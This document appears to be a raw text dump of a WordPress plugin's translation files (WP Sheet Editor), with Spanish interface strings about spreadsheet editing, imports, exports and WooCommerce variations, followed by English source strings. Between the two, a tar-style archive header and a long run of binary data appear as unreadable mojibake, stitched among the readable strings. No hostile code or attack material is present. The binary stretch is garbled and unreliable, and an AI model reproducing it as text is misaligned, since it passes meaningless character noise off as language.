                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_GT.mo000064400000640304147600365160016702 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, 